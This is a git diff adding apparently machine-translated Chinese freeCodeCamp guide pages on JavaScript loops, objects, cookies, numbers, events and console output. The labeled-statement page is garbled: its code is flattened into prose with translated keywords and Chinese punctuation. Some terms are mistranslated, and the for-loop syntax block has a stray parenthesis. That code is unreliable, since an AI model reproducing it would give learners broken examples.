+localeTitle: 做......循环
+---
+`do...while`循环与[`while`](http://forum.freecodecamp.com/t/javascript-while-loop/14668)循环密切相关。在do while循环中，在循环结束时检查条件。
+
+这是`do...while`循环的**语法** ：
+
+## 句法：
+```
+ do { 
+ 
+   *Statement(s);* 
+ 
+ } while (*condition*); 
+```
+
+**statement（s）：**在计算条件或布尔表达式之前**至少**执行**一次的**语句，并**在**每次条件计算结果为true时重新执行。
+
+**condition：**这里，条件是布尔表达式 。如果布尔表达式的计算结果为true，则再次执行该语句。当布尔表达式求值为false时，循环结束。
+
+## 例：
+```
+var i = 0; 
+ do { 
+  i = i + 1; 
+  console.log(i); 
+ } while (i < 5); 
+ 
+ Output: 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+```
+
+来源： [**做......同时**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/do…while)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/loops/for-in-loop/index.md b/client/src/guide/chinese/javascript/loops/for-in-loop/index.md
new file mode 100644
index 0000000000..da2574a17f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/loops/for-in-loop/index.md
@@ -0,0 +1,70 @@
+---
+title: For...In Loop
+localeTitle: 对于... In Loop
+---
+`for...in`语句以任意顺序迭代对象的可枚举属性。对于每个不同的属性，可以执行语句。
+```
+for (variable in object) { 
+ ... 
+ } 
+```
+
+|必需/可选|参数|说明| | ------------------- | ----------- | ----------------- -------------------------------------------------- --- | |必需|变量|每次迭代都会为变量分配不同的属性名称。 | |可选|对象|迭代其可枚举属性的对象。 |
+
+## 例子
+```
+// Initialize object. 
+ a = { "a": "Athens", "b": "Belgrade", "c": "Cairo" } 
+ 
+ // Iterate over the properties. 
+ var s = "" 
+ for (var key in a) { 
+    s += key + ": " + a[key]; 
+    s += "<br />"; 
+    } 
+ document.write (s); 
+ 
+ // Output: 
+ // a: Athens 
+ // b: Belgrade 
+ // c: Cairo 
+ 
+ // Initialize the array. 
+ var arr = new Array("zero", "one", "two"); 
+ 
+ // Add a few expando properties to the array. 
+ arr["orange"] = "fruit"; 
+ arr["carrot"] = "vegetable"; 
+ 
+ // Iterate over the properties and elements. 
+ var s = ""; 
+ for (var key in arr) { 
+    s += key + ": " + arr[key]; 
+    s += "<br />"; 
+ } 
+ 
+ document.write (s); 
+ 
+ // Output: 
+ //   0: zero 
+ //   1: one 
+ //   2: two 
+ //   orange: fruit 
+ //   carrot: vegetable 
+ 
+ // Efficient way of getting an object's keys using an expression within the for-in loop's conditions 
+ var myObj = {a: 1, b: 2, c:3}, myKeys = [], i=0; 
+ for (myKeys[i++] in myObj); 
+ 
+ document.write(myKeys); 
+ 
+ //Output: 
+ //   a 
+ //   b 
+ //   c 
+```
+
+# 资源：
+
+*   [MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for…in)
+*   [MSDN链接](https://msdn.microsoft.com/library/55wb2d34.aspx)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/loops/for-loop/index.md b/client/src/guide/chinese/javascript/loops/for-loop/index.md
new file mode 100644
index 0000000000..7ff2f5b590
--- /dev/null
+++ b/client/src/guide/chinese/javascript/loops/for-loop/index.md
@@ -0,0 +1,86 @@
+---
+title: For Loop
+localeTitle: 对于循环
+---
+### 句法
+
+```javascript
+for ([initialization]); [condition]; [final-expression]) { 
+   // statement 
+ } 
+```
+
+javascript `for`语句由三个表达式和一个语句组成：
+
+## 描述
+
+*   初始化 - 在循环上第一次执行之前运行。此表达式通常用于创建计数器。这里创建的变量的范围是循环。一旦循环完成它的执行就会被破坏。
+*   condition - 在每次迭代执行之前检查的表达式。如果省略，则此表达式的计算结果为true。如果计算结果为true，则执行循环语句。如果计算结果为false，则循环停止。
+*   final-expression - 每次迭代后运行的表达式。通常用于增加计数器。但它也可以用来递减计数器。
+*   statement - 要在循环中重复的代码
+
+这三个表达式中的任何一个或语句都可以省略。 For循环通常用于计算一定数量的迭代以重复语句。在条件表达式求值为false之前，使用`break`语句退出循环。
+
+## 常见的陷阱
+
+**超过数组的边界**
+
+当多次索引数组时，很容易超出数组的边界（例如，尝试引用3元素数组的第4个元素）。
+
+```javascript
+    // This will cause an error. 
+    // The bounds of the array will be exceeded. 
+    var arr = [ 1, 2, 3 ]; 
+    for (var i = 0; i <= arr.length; i++) { 
+       console.log(arr[i]); 
+    } 
+ 
+    output: 
+    1 
+    2 
+    3 
+    undefined 
+```
+
+有两种方法可以修复此代码。将条件设置为`i < arr.length`或`i <= arr.length - 1`
+
+### 例子
+
+迭代0-8的整数
+
+```javascript
+for (var i = 0; i < 9; i++) { 
+   console.log(i); 
+ } 
+ 
+ output: 
+ 0 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+ 6 
+ 7 
+ 8 
+```
+
+在条件表达式为false之前中断循环
+
+```javascript
+for (var elephant = 1; elephant < 10; elephant+=2) { 
+    if (elephant === 7) { 
+        break; 
+    } 
+    console.info('elephant is ' + elephant); 
+ } 
+ 
+ output: 
+ elephant is 1 
+ elephant is 3 
+ elephant is 5 
+```
+
+### 其他资源
+
+*   [MDN - 用于陈述](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/loops/for-of-loop/index.md b/client/src/guide/chinese/javascript/loops/for-of-loop/index.md
new file mode 100644
index 0000000000..7690081866
--- /dev/null
+++ b/client/src/guide/chinese/javascript/loops/for-of-loop/index.md
@@ -0,0 +1,88 @@
+---
+title: For...Of Loop
+localeTitle: 对于...... Of Loop
+---
+`for...of`语句创建循环遍历可迭代对象（包括Array，Map，Set，Arguments对象等），调用自定义迭代挂钩，其中包含要为每个不同属性的值执行的语句。
+
+```javascript
+    for (variable of object) { 
+        statement 
+    } 
+```
+
+| |说明| | ---------- | ------------------------------------- | |变量|在每次迭代时，将不同属性的值分配给变量。 | |对象|迭代其可枚举属性的对象。 |
+
+## 例子
+
+### 排列
+
+```javascript
+    let arr = [ "fred", "tom", "bob" ]; 
+ 
+    for (let i of arr) { 
+        console.log(i); 
+    } 
+ 
+    // Output: 
+    // fred 
+    // tom 
+    // bob 
+```
+
+### 地图
+
+```javascript
+    var m = new Map(); 
+    m.set(1, "black"); 
+    m.set(2, "red"); 
+ 
+    for (var n of m) { 
+        console.log(n); 
+    } 
+ 
+    // Output: 
+    // 1,black 
+    // 2,red 
+```
+
+### 组
+
+```javascript
+    var s = new Set(); 
+    s.add(1); 
+    s.add("red"); 
+ 
+    for (var n of s) { 
+        console.log(n); 
+    } 
+ 
+    // Output: 
+    // 1 
+    // red 
+```
+
+### 参数对象
+
+```javascript
+    // your browser must support for..of loop 
+    // and let-scoped variables in for loops 
+ 
+    function displayArgumentsObject() { 
+        for (let n of arguments) { 
+            console.log(n); 
+        } 
+    } 
+ 
+ 
+    displayArgumentsObject(1, 'red'); 
+ 
+    // Output: 
+    // 1 
+    // red 
+```
+
+# 其他资源：
+
+*   [MDN链接](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/for…of)
+*   [MSDN链接](https://msdn.microsoft.com/library/dn858238%28v=vs.94%29.aspx?f=255&MSPPError=-2147217396)
+*   [参数@@ iterator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments/@@iterator)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/loops/index.md b/client/src/guide/chinese/javascript/loops/index.md
new file mode 100644
index 0000000000..419f45ff44
--- /dev/null
+++ b/client/src/guide/chinese/javascript/loops/index.md
@@ -0,0 +1,15 @@
+---
+title: Loops
+localeTitle: 循环
+---
+循环在JavaScript中用于根据条件执行重复任务。条件通常在分析时返回`true`或`false` 。循环将继续运行，直到定义的条件返回`false` 。
+
+循环有三种常见类型：
+
+*   [对于](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [而](http://forum.freecodecamp.com/t/javascript-while-loop/14668)
+*   [做的](http://forum.freecodecamp.com/t/javascript-for-loop/14662)
+
+您可以键入`js for` ， `js while`或`js do while`以获取有关这些内容的更多信息。
+
+> 链接： [MDN **for循环**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/loops/labeled-statement/index.md b/client/src/guide/chinese/javascript/loops/labeled-statement/index.md
new file mode 100644
index 0000000000..3b61c1ffeb
--- /dev/null
+++ b/client/src/guide/chinese/javascript/loops/labeled-statement/index.md
@@ -0,0 +1,34 @@
+---
+title: Labeled Statement
+localeTitle: 标签声明
+---
+## 标签声明
+
+**Labeled语句**与`break`和`continue`语句一起使用，用于标识`break`和`continue`语句适用的语句。
+
+### 句法
+
+\`\`\`\`javascript 标签： 声明
+```
+### Usage 
+ Without the use of a `labeled` statement the `break` statement can only break out of a loop or a `switch` statement. Using a `labeled` statement allows `break` to jump out of any code block. 
+ #### Example 
+```
+
+JavaScript的 foo：{ console.log（“This prints：”）; 打破foo; console.log（“这将永远不会打印。”）; } console.log（“因为执行跳转到这里！”） / \*输出 这打印： 因为执行跳到这里！ \* /
+```
+When used with a `continue` statement the `labeled` statement allows you to skip a loop iteration, the advantage comes from being able to jump out from an inner loop to an outer one when you have nested loop statements. Without the use of a `labeled` statement you could only jump out of the existing loop iteration to the `next iteration of the same loop.` 
+ #### Example 
+```
+
+JavaScript的 //没有标记语句，当j == i时，内部循环跳转到下一次迭代 功能测试（） { for（var i = 0; i <3; i ++）{ console.log（“i =”+ i）; for（var j = 0; j <3; j ++）{ if（j === i）{ 继续; } console.log（“j =”+ j）; } } }
+
+/ \*输出 i = 0（注意缺少j = 0） J = 1 J = 2 I = 1 j = 0（注意缺少j = 1） J = 2 I = 2 J = 0 j = 1（注意缺少j = 2） \* /
+
+//使用带标签的语句我们可以跳转到外部（i）循环 功能测试（） { outer：for（var i = 0; i <3; i ++）{ console.log（“i =”+ i）; for（var j = 0; j <3; j ++）{ if（j === i）{ 继续外 } console.log（“j =”+ j）; } } }
+
+/ \* i = 0（j仅在小于i时记录） I = 1 J = 0 I = 2 J = 0 J = 1 \* / \`\`\`
+
+### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/label)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/loops/while-loop/index.md b/client/src/guide/chinese/javascript/loops/while-loop/index.md
new file mode 100644
index 0000000000..7bdd6464c8
--- /dev/null
+++ b/client/src/guide/chinese/javascript/loops/while-loop/index.md
@@ -0,0 +1,45 @@
+---
+title: While Loop
+localeTitle: 而Loop
+---
+while循环首先评估条件。如果条件为真，则执行语句。如果条件为假，则不执行语句。之后，while循环结束。
+
+这是while循环的**语法** ：
+
+## 句法：
+```
+while (condition) 
+ 
+ { 
+ 
+  statement(s); 
+ 
+ } 
+```
+
+_statement（s）：_只要条件求值为true就执行的语句。
+
+_condition：_这里，condition是一个布尔表达式，在每次循环之前计算。如果此条件的计算结果为true，则执行语句。当condition的计算结果为false时，继续执行while循环后的语句。
+
+## 例：
+```
+    var i = 1; 
+    while (i < 10) 
+    { 
+      console.log(i); 
+       i++; // i=i+1 same thing 
+    } 
+ 
+    Output: 
+    1 
+    2 
+    3 
+    4 
+    5 
+    6 
+    7 
+    8 
+    9 
+```
+
+_来源： [While Loop - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/while)_
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/manipulate-javascript-objects/index.md b/client/src/guide/chinese/javascript/manipulate-javascript-objects/index.md
new file mode 100644
index 0000000000..941e6251a4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/manipulate-javascript-objects/index.md
@@ -0,0 +1,29 @@
+---
+title: Manipulate JavaScript Objects
+localeTitle: 操纵JavaScript对象
+---
+有几种方法可以操纵对象属性，点符号和括号表示法。
+
+使用点表示法向对象添加属性：
+```
+myObject.myProperty = "myValue"; 
+```
+
+使用括号表示法向对象添加属性：
+
+```javascript
+myObject['myProperty'] = "myValue"; 
+```
+
+使用括号表示法，我们可以将变量用作属性名称：
+
+```javascript
+var dynamicProperty = "myProperty"; 
+ myObject[dynamicProperty] = "myValue"; 
+```
+
+我们也可以删除它们：
+```
+delete(myObject.myProperty); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/manipulating-cookies/index.md b/client/src/guide/chinese/javascript/manipulating-cookies/index.md
new file mode 100644
index 0000000000..09802cf437
--- /dev/null
+++ b/client/src/guide/chinese/javascript/manipulating-cookies/index.md
@@ -0,0 +1,68 @@
+---
+title: Manipulating Cookies
+localeTitle: 操纵Cookies
+---
+## 操纵Cookies
+
+获取或设置cookie是一项简单的操作，可以通过访问浏览器文档对象上的cookie属性来实现。
+
+您可以找到一个令人惊叹且信息丰富的食谱网站，为您的客人烹制外国餐，但它是外语，幸运的是，您可以使用选择下拉列表更改网站上的语言。几天后，您再次访问同一站点为您的母亲制作菜肴，但现在您默认使用您的母语查看该网站。
+
+_该网站会记住您上次访问时选择的语言，并以**cookie的**形式存储。现在，它通过读取该cookie自动选择您的首选语言。_
+
+`userLanguage:french`
+
+Cookie用于在客户端部分以`name:value`对的形式存储数据。它允许网站在浏览器上存储用户特定信息以供以后使用。存储的信息可以是`sessionID` ， `userCountry` ， `visitorLanguage`等。
+
+另一种在客户端存储数据的方法是`localstorage` 。
+
+### 设置Cookie
+
+可以使用下面的语法设置cookie，但强烈建议使用类似于最后提到的库，以便让每个人都能更轻松地进行开发。在设置cookie时，您也可以设置它的到期时间。如果跳过，则在浏览器关闭时会删除cookie。
+
+**请记住，特定域设置的cookie只能由该域及其子域读取。**
+
+```javascript
+// Using vanilla javascript 
+ document.cookie = 'userLanguage=french; expires=Sun, 2 Dec 2017 23:56:11 UTC; path=/'; 
+ 
+ //Using JS cookie library 
+ Cookies.set('userLanguage', 'french', { expires: 7, path: '/' }); 
+```
+
+_Cookie将在7天后到期_
+
+### 获取Cookie
+
+```javascript
+// Using vanilla javascript 
+ console.log(document.cookie) 
+ 
+ // => "_ga=GA1.2.1266762736.1473341790; userLanguage=french" 
+ 
+ // Using JS cookie library 
+ Cookies.get('userLanguage'); 
+ 
+ // => "french" 
+```
+
+### 删除Cookie
+
+为了删除cookie，将过期日期设置为过去的某些内容。
+
+```javascript
+// Using vanilla javascript 
+ document.cookie = 'userLanguage; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/'; 
+ 
+ //Using JS cookie library 
+ Cookies.remove('userLanguage'); 
+```
+
+_如果您发现自己在项目中玩了很多cookie，请使用像这样的[JS Cookie](https://github.com/js-cookie/js-cookie)这样的库，节省大量时间。_
+
+#### 更多信息：
+
+*   [Cookie解释道](https://www.quirksmode.org/js/cookies.html)
+*   [MDN Cookie指南](https://developer.mozilla.org/en-US/docs/Web/API/document/cookie)
+*   [Udacity Cookie视频](https://www.youtube.com/watch?v=xdH9zsW1CK0)
+*   [HTTP cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/multiply-two-numbers-with-javascript/index.md b/client/src/guide/chinese/javascript/multiply-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..5b04de81d9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/multiply-two-numbers-with-javascript/index.md
@@ -0,0 +1,12 @@
+---
+title: Multiply Two Numbers with JavaScript
+localeTitle: 使用JavaScript将两个数字相乘
+---
+JavaScript使用`*`符号进行乘法运算。
+```
+var product = 8 * 10; 
+```
+
+此产品后，'product'的值为'80'。
+
+在进行计算时，可以使用括号来确定哪些数字应该相乘的优先级。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/naming-convention-for-javascript/index.md b/client/src/guide/chinese/javascript/naming-convention-for-javascript/index.md
new file mode 100644
index 0000000000..d0803273fb
--- /dev/null
+++ b/client/src/guide/chinese/javascript/naming-convention-for-javascript/index.md
@@ -0,0 +1,27 @@
+---
+title: Naming Convention for JavaScript
+localeTitle: JavaScript的命名约定
+---
+在这里，您将了解广泛使用的不同代码案例。
+
+## 骆驼香烟盒
+
+在编程中，变量名称的camelCase格式如下所示：
+```
+var camelCase = "lower-case first word, capitalize each subsequent word"; 
+```
+
+## PascalCase
+
+PascalCase（或CamelCase）是camelCase的变体。它与camelCase的不同之处在于大写每个单词， _包括_第一个单词：
+```
+var PascalCase = "upper-case every word"; 
+```
+
+## snake\_case
+
+另一个名为snake\_case的流行案例以这种方式用下划线分隔每个单词：
+```
+var snake_case = "lower-case everything, but separate words with underscores"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/numbers/index.md b/client/src/guide/chinese/javascript/numbers/index.md
new file mode 100644
index 0000000000..a1682b7058
--- /dev/null
+++ b/client/src/guide/chinese/javascript/numbers/index.md
@@ -0,0 +1,79 @@
+---
+title: Numbers
+localeTitle: 数字
+---
+## 数字
+
+JavaScript `number`的实现基于`IEEE 754`标准，通常称为“浮点”。
+
+[IEEE 754维基百科链接](https://en.wikipedia.org/wiki/IEEE_754) [IEEE 754双精度浮点可视化](http://bartaz.github.io/ieee754-visualization/)
+
+数字文字通常表示为`base-10`十进制文字。
+
+```javascript
+var foo = 47; 
+ var bar = 47.9; 
+```
+
+十进制值的前导部分（如果为`0` ）是可选的：
+
+```javascript
+var same = 0.47; 
+ var stillSame = .47; 
+```
+
+同样，后面的十进制值的尾部（小数） `.` ，如果为`0` ，则是可选的：
+
+```javascript
+var a = 47.0; 
+ var b = 47.; 
+```
+
+默认情况下，大多数数字将输出为`base-10`小数，并删除尾随小数`0` 。所以：
+
+```javascript
+var foo = 47.300; 
+ var bar = 47.0; 
+ 
+ foo; // 47.3 
+ bar; // 47 
+```
+
+非常大或非常小的`numbers`可写为：
+
+```javascript
+var foo = 47e8; // 4700000000 
+ var baz = 47e-8; // 00.00000047 
+```
+
+`toExponential`方法可用于将`number`转换为`exponential notation` 。
+
+```javascript
+var foo = 47e8; 
+ foo;  // 4700000000 
+ foo.toExponential()   //"47e8" 
+```
+
+Numbers可以访问`Number.prototype`中内置的方法。
+
+例如： `toFixed()`方法格式化一个具有小数点右侧特定位数的数字。
+
+```javascript
+var foo = 47.69; 
+ foo.toFixed(0);  // "48" 
+ foo.toFixed(1);  // "47.7" 
+ foo.toFixed(2);  // "47.69" 
+```
+
+> 在浏览器中键入`Number.prototype`并自己查看其他可用方法。
+
+#### 更多信息：
+
+1.  [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Number_type)
+2.  [JavaScript编号](https://www.w3schools.com/js/js_numbers.asp)
+
+#### 参考
+
+1.  Kyle Simpson的[类型和语法](https://github.com/getify/You-Dont-Know-JS/tree/master/types%20%26%20grammar) 。
+2.  [ECMAScript语言规范：4.3.20](https://www.ecma-international.org/ecma-262/5.1/#sec-4.3.20)
+3.  [ECMAScript语言规范：15.7数字对象](https://www.ecma-international.org/ecma-262/5.1/#sec-15.7)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/object-instantiation/functional/index.md b/client/src/guide/chinese/javascript/object-instantiation/functional/index.md
new file mode 100644
index 0000000000..448fb31e48
--- /dev/null
+++ b/client/src/guide/chinese/javascript/object-instantiation/functional/index.md
@@ -0,0 +1,151 @@
+---
+title: Functional
+localeTitle: 实用
+---
+```javascript
+var fun = function(a, b) { 
+  var funInstance = {}; 
+  funInstance.a = a; 
+  funInstance.b = b; 
+  funInstance.method1 = function() { 
+    // method code here 
+  } 
+  funInstance.method2 = function() { 
+    // method code here 
+  } 
+  funInstance.method3 = function() { 
+    // method code here 
+  } 
+  return funInstance; 
+ } 
+ var myFun = fun(1, 2); 
+ myFun.method1(); 
+```
+
+## 我怎么认出来的？
+
+功能对象实例化创建一个带有函数的类实例，就像其他选项一样。不同之处在于所有相关方法也在构造函数中定义。
+
+## 我为什么要用它？
+
+由于为对象的每个实例创建了一组新方法，并且可能占用大量内存，因此当您知道不打算使用大量实例时，功能实例化是有益的。新的和经验丰富的JavaScript编码器也能轻松理解您的代码，因为实例化完全是自包含的，并且很容易看到方法和对象实例之间的关系。
+
+## 有什么缺点？
+
+功能实例化的缺点是，如果要对代码进行任何更改（例如添加更多方法），则在进行这些更改之前创建的对象的任何实例都不会更新。最终可能会有两个包含不同方法信息的实例。
+
+* * *
+
+## 标题：功能共享
+
+```javascript
+var fun = function(a, b) { 
+  var funInstance = {}; 
+  funInstance.a = a; 
+  funInstance.b = b; 
+  extend(funInstance, funMethods); 
+  return funInstance; 
+ } 
+ var extend = function(to, from) { 
+  for (var key in from) { 
+    to[key] = from[key]; 
+  } 
+ } 
+ var funMethods = {}; 
+ funMethods.method1 = function() { 
+    // method code here 
+ } 
+ funMethods.method2 = function() { 
+    // method code here 
+ } 
+ funMethods.method3 = function() { 
+    // method code here 
+ } 
+ var myFun = fun(1, 2); 
+ myFun.method1(); 
+```
+
+## 我怎么认出来的？
+
+Functional和Functional-Shared之间的主要区别在于，在Functional-Shared中我们共享我们的方法。我们有一个单独的对象来保存我们的所有方法，而不是在我们的Instantiation函数中声明方法。为了使用这些方法，我们将它们扩展到正在创建的对象的每个实例中。
+
+## 我为什么要用它？
+
+Functional-Shared允许我们使用对方法的引用，而不是为我们对象的每个实例声明和存储我们的方法，从而节省了空间。
+
+## 有什么缺点？
+
+缺点是，由于方法是通过指向方法对象的指针引用的，如果我们以任何方式更新方法对象，那么在更改之前创建的对象实例将不会更新。最终可能会有两个对象实例引用两个不同版本的方法。
+
+* * *
+
+## 标题：原型
+
+```javascript
+var fun = function(a, b) { 
+  var funInstance = Object.create(funMethods); 
+  funInstance.a = a; 
+  funInstance.b = b; 
+  return funInstance; 
+ } 
+ var funMethods = {}; 
+ funMethods.method1 = function() { 
+    // method code here 
+ } 
+ funMethods.method2 = function() { 
+    // method code here 
+ } 
+ funMethods.method3 = function() { 
+    // method code here 
+ } 
+ var myFun = fun(1, 2); 
+ myFun.method1(); 
+```
+
+## 我怎么认出来的？
+
+Prototypal类似于Functional-Shared，因为它们都使用单独的方法对象来保存将在我们创建的对象的实例之间共享的所有方法。不同之处在于我们可以使用原型链。我们可以使用Object.create（prototype）创建对象，以便将方法附加到我们的对象实例。持有我们共享方法的对象被认为是原型。
+
+## 我为什么要用它？
+
+如果在创建对象实例后对原型进行更改，则将更新该实例。你不会得到两个具有不同方法的相同原型的实例。
+
+## 有什么缺点？
+
+使用此方法的缺点是需要额外的步骤和额外的代码。我们不仅要像以前一样创建和返回我们的对象，还要装饰它。
+
+* * *
+
+## 标题：伪古典
+
+```javascript
+var Fun = function(a, b) { 
+  // this = Object.create(Fun.prototype); 
+  this.a = a; 
+  this.b = b; 
+  // return this; 
+ } 
+ Fun.prototype.method1 = function() { 
+    // method code here 
+ } 
+ Fun.prototype.method2 = function() { 
+    // method code here 
+ } 
+ Fun.prototype.method3 = function() { 
+    // method code here 
+ } 
+ var myFun = new Fun(1, 2); 
+ myFun.method1(); 
+```
+
+## 我怎么认出来的？
+
+伪古典实例化到目前为止包含的代码量最少。 new关键字不是创建新对象并返回它，而是为我们做到这一点。在引擎盖下，当您使用new关键字实例化对象时，使用this = Object.create（Object.prototype）创建一个新对象，其中这指的是以new关键字命名的原型。当我们定义方法时，我们使用prototype关键字。
+
+## 我为什么要用它？
+
+Pseudoclassical被认为是最快的实例化模式，如果您要创建数万个实例，这将非常有用。它也是最优化的，因为它利用了Javascript功能。
+
+## 有什么缺点？
+
+Pseudoclassical Instantiation的缺点是它需要更多关于JavaScript正在做什么的知识，特别是使用this关键字。这使得这种类型的对象实例化更难以理解，特别是如果其他人正在阅读您的代码
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/object-instantiation/index.md b/client/src/guide/chinese/javascript/object-instantiation/index.md
new file mode 100644
index 0000000000..a16e67c282
--- /dev/null
+++ b/client/src/guide/chinese/javascript/object-instantiation/index.md
@@ -0,0 +1,72 @@
+---
+title: Object Instantiation
+localeTitle: 对象实例化
+---
+## 对象实例化
+
+在Javascript和大多数其他语言中，对象包含一系列属性，这些属性是键值对。当您需要构造对象时，可以使用多个选项。
+
+### 初始化对象变量
+
+您可以创建具有预定义属性的对象，如下所示：
+
+```javascript
+let myObject = { 
+  name: "Dave", 
+  age: 33 
+ } 
+```
+
+### 创建一个空对象
+
+这会在myObject变量中创建一个空对象：
+
+```javascript
+let myObject = new Object(); 
+```
+
+当您希望向对象添加属性时，只需使用点表示法或括号表示法以及您选择的属性名称：
+
+```javascript
+myObject.name = "Johnny Mnemonic" 
+ myObject["age"] = 55 
+```
+
+### 使用构造函数
+
+您可以定义可用于创建对象的构造函数：
+
+```javascript
+function Kitten(name, cute, color) { 
+  this.name = name, 
+  this.cute = cute, 
+  this.color = color 
+ } 
+```
+
+您可以通过调用构造函数来定义包含此对象实例化的变量：
+
+```javascript
+let myKitten = new Kitten("Nibbles", true, "white") 
+```
+
+### 的Object.create（）
+
+Object.create（）方法（首先在ECMAScript 5.1中定义）允许您创建对象。它允许您为新对象选择原型对象，而无需事先定义构造函数。
+
+```javascript
+// Our pre-defined object 
+ let kitten = { 
+  name: "Fluff", 
+  cute: true, 
+  color: "gray" 
+ } 
+ // Create a new object using Object.create(). kitten is used as the prototype 
+ let newKitten = Object.create(kitten) 
+ 
+ console.log(newKitten.name) // Will output "Fluff" 
+```
+
+#### 更多信息
+
+[关于使用对象的MDN文章](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_Objects)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/onclick-event/index.md b/client/src/guide/chinese/javascript/onclick-event/index.md
new file mode 100644
index 0000000000..b637801a50
--- /dev/null
+++ b/client/src/guide/chinese/javascript/onclick-event/index.md
@@ -0,0 +1,67 @@
+---
+title: Onclick Event
+localeTitle: Onclick活动
+---
+## Onclick活动
+
+JavaScript中的`onclick`事件允许您作为程序员在单击元素时执行函数。
+
+### 例
+
+```javascript
+<button onclick="myFunction()">Click me</button> 
+ 
+ <script> 
+  function myFunction() { 
+    alert('Button was clicked!'); 
+  } 
+ </script> 
+```
+
+在上面的简单示例中，当用户单击按钮时，他们将在浏览器中看到显示`Button was clicked!`的警报`Button was clicked!` 。
+
+### 动态添加`onclick`
+
+`onclick`事件也可以使用以下示例中的以下代码以编程方式添加到任何元素：
+
+```javascript
+<p id="foo">click on this element.</p> 
+ 
+ <script> 
+  var p = document.getElementById("foo"); // Find the paragraph element in the page 
+  p.onclick = showAlert; // Add onclick function to element 
+ 
+  function showAlert(event) { 
+    alert("onclick Event triggered!"); 
+  } 
+ </script> 
+```
+
+### 注意
+
+重要的是要注意使用onclick我们只能添加一个监听器功能。如果要添加更多内容，只需使用addEventListener（），这是添加事件侦听器的首选方法。
+
+在上面的示例中，当用户单击`html`的`paragraph`元素时，他们将看到显示`onclick Event triggered`的警报。
+
+### 防止默认操作
+
+但是，如果我们重视`onclick`以链接（HTML是`a`标签），我们可能想阻止默认动作发生：
+
+```javascript
+<a href="https://guide.freecodecamp.org" onclick="myAlert()">Guides</a> 
+ 
+ <script> 
+  function myAlert(event) { 
+    event.preventDefault(); 
+    alert("Link was clicked but page was not open"); 
+  } 
+ </script> 
+```
+
+在上面的例子中，我们防止了默认行为`a`使用元件（开口链路） `event.preventDefault()`提供了内部`onclick`回调函数。
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onclick)
+
+#### 其他资源
+
+[jQuery .on（）事件处理程序附件](https://api.jquery.com/on/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/onload-event/index.md b/client/src/guide/chinese/javascript/onload-event/index.md
new file mode 100644
index 0000000000..8491f18816
--- /dev/null
+++ b/client/src/guide/chinese/javascript/onload-event/index.md
@@ -0,0 +1,31 @@
+---
+title: Onload Event
+localeTitle: Onload事件
+---
+## Onload事件
+
+`onload`事件用于在加载页面后立即执行JavaScript函数。
+
+### 例：
+
+```javascript
+<body onload="myFunction()"> 
+ 
+ <script> 
+  function myFunction() { 
+    alert('Page finished loading'); 
+  } 
+ </script> 
+```
+
+在上面的示例中，只要加载了网页，就会调用`myFunction`函数，向用户显示`Page finished loading`警报。
+
+`onload`事件最常用于`<body>`元素中以执行脚本。如果它附加到`<body>` ，则一旦网页完全加载了所有内容（图像，脚本文件，CSS文件等），脚本就会运行。
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onload)
+
+#### 其他资源
+
+[jQuery .on（）事件处理程序附件](https://api.jquery.com/on/) [Stack Overflow：window.onload与document.onload](https://stackoverflow.com/questions/588040/window-onload-vs-document-onload)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/output/index.md b/client/src/guide/chinese/javascript/output/index.md
new file mode 100644
index 0000000000..7813b8b8c3
--- /dev/null
+++ b/client/src/guide/chinese/javascript/output/index.md
@@ -0,0 +1,105 @@
+---
+title: Output 
+localeTitle: 产量
+---
+## 产量
+
+您可以通过控制台输出数据的最常用方法有4种。这些将在您的开发过程的大部分时间使用。
+
+#### `console.log`
+
+它是输出数据的最常用和最常用的方式。通常的做法是在语句之​​间插入其中的几个来理解数据的流动和处理方式。此外，您可以在devtools中使用`debugger`或断点来执行相同操作，而不会污染您的代码。
+
+```javascript
+var numbers  = [ 1, 2, 3, 4, 5, 6, 7]; 
+ numbers.forEach(function(number){ 
+  console.log(number + ' is divisible by 2', number%2 == 0); 
+ }); 
+```
+
+#### `console.warn`
+
+正如您所猜测的那样，它用于显示警告，并且它的典型黄色区别于错误红色和`console.log` 。
+
+```javascript
+function isAdult(age){ 
+  if(Number(age) < 18){ 
+    console.warn('You are not an adult'); 
+    return false; 
+   } 
+   return true; 
+ } 
+```
+
+#### `console.error`
+
